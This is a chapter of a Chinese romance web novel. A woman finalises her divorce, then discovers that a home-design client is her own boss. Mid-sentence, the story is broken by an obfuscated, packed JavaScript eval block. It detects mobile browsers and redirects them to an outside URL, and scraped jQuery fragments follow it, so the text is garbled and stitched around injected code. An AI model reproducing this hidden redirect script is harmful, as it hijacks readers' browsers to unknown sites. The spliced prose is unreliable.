到了领离婚证的那个周六,刘慧莹起了个大早。
重新挂上的蕾丝纱帘扑地一拉开,灿烂阳光洒入,带着清晨略带凉意的空气。
神清气爽。
打车前往民政局,刘慧莹到达的时候,张闻宇已经在了。
他给她带了咖啡。还有五分钟才开门,在机器上取了号码,两个人坐在门口的长椅上,默不作声。
张闻宇确实瘦了一圈。
刘慧莹啜了一口咖啡,用舌头舔掉嘴唇上的奶泡。
到昨晚,他依旧在给刘慧莹发消息。
而现在,看她喝了咖啡后,张闻宇从身后拿出了一个饼干盒。
刘慧莹心中一滞。
铁质饼干盒盖子上是玩偶小熊的凸起图案,边缘有些生锈。
他打开。
“慧莹。”张闻宇的声音是低沉的。
他的头发长了一些,下巴侧面有一个小口子,像是刮胡子的时候弄伤的。
他身上的衬衫是她买的,那个国庆,在万象城,终于攒够积分换了七楼烤肉店的自助券。
他的手表是她送的,结婚三周年的礼物,那一年她拿到了一笔不菲的项目奖金。
他眉毛下方的疤也还在,是读大学的时候,他教她骑自行车,慌乱间指甲刮伤了脸,痊愈后留下半厘米浅浅的白色。
张闻宇把盒子打开。
“这些。”
“我们恋爱时的车票。”
一大叠,大多数是往返在京市和海市之间,唯独有几张粉色的,是从海市通往刘慧莹家乡小城的火车。
那一年,她的家乡都还没通高铁,火车站在城南,周围全是破旧的小宾馆,一出站,都是拉客的巴士司机。
大三那年春节,张闻宇突然出现在火车站,给刘慧莹打电话的时候,她吓了一跳。
刘慧莹还没告诉妈妈她恋爱了,不敢带人回家,只好把人安顿在宾馆,每天出门遛弯的时候偷偷去见他。
“还有电影票、门票……”
本科学校旁边的电影院和学生会合作,出了面向学生的便宜套票。刚恋爱的时候,他们经常去,第一次牵手和第一次亲吻,都是在那里。
“还有,你给我买的戒指。”
不是婚戒。是情侣戒指。纯银的,已经有些变形。刘慧莹要去京市读研究生,张闻宇签了海市国企的三方协议,他们要异地了。
张闻宇很焦虑,刘慧莹送他戒指的时候,他哭了。
就像现在这样。
不,不像。现在他是灰暗的。
刘慧莹从口袋里拿出纸巾,递给张闻宇。
他接过来在眼睛下按着,停顿许久才拿开。
然后他说:“慧莹,你真的爱过我吗?”
他的眼睛红红的,夹杂着血丝,是很久没睡好的样子。
刘慧莹沉默良久,几乎是用叹息的语气回答:“你问这个问题,是想证明什么呢?你是个不小心走错路的情圣,我是铁石心肠的女人?我根本不爱你?那会让你觉得好过一点吗?”
张闻宇没有再说话了。
门开了。
领离婚证的二人很沉默,除了和工作人员之间必要的交流,没人多说一句话。
大概是离婚夫妻的常态。
一切都结束之后,张闻宇先走一步,这回他没问刘慧莹要不要送她。
刘慧莹看了眼时间,去了街道对面的粥铺。
时间还早,先填饱肚子。
周末早晨的粥铺并没有什么人。两排桌子只有两桌客人。
刘慧莹坐在靠门的位置,背对着门口,扫码点餐。
青菜肉沫粥,配一个茶叶蛋。
上餐很快。
刘慧莹给自己预留了十五分钟的吃饭时间。
前方,距离她一桌外,有对夫妻正带着孩子吃早饭。
刘慧莹没有特意去看,但声音自顾自入耳。
“不要把青菜都挑出来,不吃青菜会长不高的。”
妈妈说了这样一句。
小孩没回嘴,但似乎没有听进去。
因为接下来就是爸爸的讨价还价:“那,你把这些吃了,下午就给你买玩具,不吃就不买。”
刘慧莹颇有些自豪地想,她小时候就从不需要人哄着吃饭,从小就很有荤素搭配的意识。
那对夫妻还在对付小孩的挑食,又哄又劝,十八般武器样样都用上了。
刘慧莹忍俊不禁,勾起嘴角,偷偷瞟了一眼三人的背影。
一高一低一高,凹的形状,几乎就是一代人眼里家庭的样子。
刘慧莹笑了一下,吃自己的饭。
她爱张闻宇,时至今日,也不敢说那种心情已然退却。
但刘慧莹不能为了别人改变自己,她爱自己更多。
前往御景嘉园的路上,刘慧莹先和卓晴发信息讲了情况。
一小时后如果她没回消息的话,就带人一起来找她。
防人之心不可无嘛。
卓晴应下,问起早上领证的情况。
刘慧莹只说一切都顺利。
御景嘉园。
绿化优越、水系清澈,门口的站岗保安核对了身份证件才放她进去。
进了楼,电梯开始运转,刘慧莹从包里拿出A4拍纸本放在臂弯,又用手捋了捋头发。
一户一层,电梯门打开,入目是一间六平米左右的门厅,摆着鞋柜和挂画,入户门更在前方。
刘慧莹按了门铃,挂上工作版本的微笑。
房主似乎并不急迫,刘慧莹心中的数字默念到了十。
库库。
门把手下压。
想给自己的粉丝留下一个好印象,她微笑的弧度略有加深,眉目弯弯,随后瞳孔放大,表情变形为了不可置信。
饶懿穿着件黑色的棉麻衬衫,第三颗纽扣松着,从她的视线高度恰能看到一小块不该看到的皮肤。而他身后,深棕木地板、深灰色沙发,赫然是与图片中如出一辙的装潢。
“你在这里干什么?”饶懿脱口而出。
刘慧莹确信,饶懿足够吃惊,否则他绝不会问这样显而易见的问题。
果然,话音刚落,饶懿的脸色愈加精彩,紫了白绿了黄,最后定格在一种清淡的灰。
不知怎的,看他这样,刘慧莹原本那股子荒谬的心情都变淡了。
只能说,真是见鬼的缘分。
门厅里两个人各自崩溃。
刘慧莹心忖,自己是掉马了,但回想一下自己的账号,也从没有说什么不该说的——该庆幸自己没指名道姓地骂过领导,至于其他的工作吐槽,打工人哪有不恨公司的?
公司里的人不知道的,也就是她离婚的事情。
但这件事。
刘慧莹飞快抬眼,望见饶懿的目光定定的聚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861457|176047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
焦在她身上,眉头紧皱,呈现出一种半是戾气,半是神游天外的状态。
此人也知道前情。
非要说的话,天平还是朝她这里倾斜更多。
啧啧。
她的手指点了点A4本,开始感到了一丝窥探到饶懿私人生活的不适应,以及这不适应中,夹杂着的天性中的好奇与兴奋。
嘛,他是个挑剔的完美主义者倒不稀奇,稀奇的是……还挺居家恋家。
可惜了我的单子,这情况,十有八九要黄了。
僵局被饶懿的声音打破:“你……”
但他卡壳了。
真是破天荒。
能见着素来桀骜的老板这一面,来一趟不亏。
收起心底的笑意,刘慧莹忍住没去看他的表情变化,适时表现出了下属的贴心和乖顺:“放心,我不会说出去的。”
你秘密挺多啊。
刘慧莹心里调侃,然后想到了自己。
彼此彼此。
好吧,那就是心照不宣要保守的秘密又多了一个。
饶懿没说话,刘慧莹也不能一直杵着。她心知老板的尴尬,主动提议:“那我就先走了。”
说完也不等回复,转身。
身后立刻传来一声关门声。
刘慧莹终于忍不住,狠狠抖了抖肩膀,把音量压制在肢体动作里。
电梯门敞开,她迫不及待地窜进去,合拢的不锈钢门板挡住了嚣张的:“嗬嗬嗬嗬哈哈哈哈哈哈哈哈哈……”
刘慧莹笑得前俯后仰,指腹抹掉泪花,直到电梯到了大厅,她站在那,目光放到自己带来的A4本上。
这里面全是她收集的资料,已经是按照11111111,不对,饶懿的要求,筛过一轮的。大学时有做手账的习惯,刘慧莹对这类写字拼贴很热衷,也始终认为这东西拿出去,俘获客户好感的任务能瞬间完成。
然而现在……
刘慧莹停在大厅门前,外面阳光灿烂,蒸腾的空气也叫人却步。
饶部长也不容易啊。
刘慧莹叹了口气。
有始有终吧。
她又折返,打算偷偷把东西放在门厅。
但话说回来。
电梯上刘慧莹开始走神。
11111111选中的那款设计师款沙发必须要预定取货,她刚和品牌方建联。不要了怪可惜的……
电梯门滑开,刘慧莹晃晃脑袋。
线圈A4本轻巧无声地摆在棕红色鞋柜上。
待会儿要不要给11111111留个言呢?
这么想着,刘慧莹蹑手蹑脚地返回轿厢。
啪嗒。
门开了。
明明不是在做贼的刘慧莹:……
刘慧莹僵住没转身,背对着面无表情的屋主,手上去摸索电梯关门键。
“早上领证去了?”
刘慧莹讪讪,转过身,摸了摸自己的眉毛:“嗯。”
离得远了一些,刘慧莹反而看清楚了饶懿。
他没在公司穿过黑色衬衫,永远是各类的白衬衫配西装外套。但因为是棉麻质地,黑色不显得冷漠疏远,反而多了一丝微妙的居家气息。
尤其是配上灰色长裤和一双棉拖鞋。
刘慧莹的眼神闪烁了一下,再往上看,却见饶懿转身进屋,留下门敞着。
多像一个陷阱啊。